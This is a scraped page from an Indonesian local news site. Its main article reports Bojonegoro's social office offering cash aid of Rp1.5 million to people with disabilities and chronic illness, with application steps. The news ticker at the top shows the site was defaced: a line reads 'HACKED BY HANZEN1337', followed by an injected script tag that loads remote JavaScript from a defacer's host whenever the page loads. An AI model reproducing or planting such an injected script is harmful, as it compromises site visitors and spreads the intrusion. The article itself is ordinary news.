News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Pemkab Bojonegoro Siapkan Bantuan Sosial bagi Penyandang Disabilitas dan Pengidap Sakit Kronis

Pemkab Bojonegoro Siapkan Bantuan Sosial bagi Penyandang Disabilitas dan Pengidap Sakit Kronis

Bojonegoro - Pemerintah Kabupaten (Pemkab) Bojonegoro, melalui Dinas Sosial (Dinsos) Kabupaten Bojonegoro  telah siapkan Bantuan Sosial bagi Penyandang Disabilitas dan Pengidap Sakit Kronis, berupa uang tunai Rp. 1,5 juga per orang, yang akan dicairkan dalam 2 tahap.
 
 
Kepala Dinas Sosial Kabupaten Bojonegoro, Drs M Arwan, Kamis (10/09/2020) menjelaskan bahwa pada tahun 2020 ini, dari 225 pemohon, sebanyak 181 permohonan telah siap dicairkan.
 
"Bantuan tersebut sifatnya terbuka dan seluruh masyarakat yang berhak dapat mengakses bantuan tersebut." kata Drs M Arwan. Kamis (10/09/2020).
 
Arwan menjelaskan bahwa untuk mengakses atau untuk mendapatkan bantuan tersebut, masyarakat yang berhak dapat menghubungi Pemerintah Desa setempat atau langsung mengajukan permohonan ke Dinas Sosial Kabupaten Bojonegoro.
 
"Nantinya Tenaga Kesejahteraan Sosial Kecamatan atau TKSK akan terjun langsung memverifikasi data yang telah masuk." kata M Arwan.
 
 

Kepala Dinas Sosial Kabupaten Bojonegoro, Drs M Arwan, dalam sebuah acara di Bojoneegoro.

 
Arwan juga menjelaskan bahwa masyarakat yang ingin mengakses bantuan tersebut caranya cukup mudah, yaitu cukup menyerahkan identitas pemohon atau calon penerima bantuan berupa Kartu Tanda Penduduk (KTP) dan Kartu Keluarga (KK) kepada Pemerintah Desa atau langsung ke Dinas Sosial kabupaten Bojonegoro.
 
"Nanti tim kita akan cek langsung ke lapangan, sekaligus melengkapi berkas pengajuan bantuan." kata M Arwan.
 
M Arwan menambahkan, untuk pengidap sakit kronis, selain KTP dan KK, pemohon atau calon penerima cukup menambahkan surat keterangan sakit dari puskesmas atau rumah sakit.
 
"Masyarakat yang berhak tidak perlu ragu untuk mengajukan bantuan sosial ini," kata M Arwan.
 
 
 
Masih menurut M Arwan bahwa program Bantuan Sosial bagi Penyandang Disabilitas dan Pengidap Sakit Kronis tersebut merupakan bentuk kepedulian Pemkab Bojonegoro Kepada masyarakat, khususnya Penyandang Disabilitas dan Pengidap Sakit Kronis.
 
"Uuntuk tahun depan, kita telah menyiapkan pelatihan bagi penyandang disabilitas yang masih produktif." kata M Arwan. (red/imm)
 
Berita Terkait
1783899933.6139 at start, 1783899934.373 at end, 0.75909805297852 sec elapsed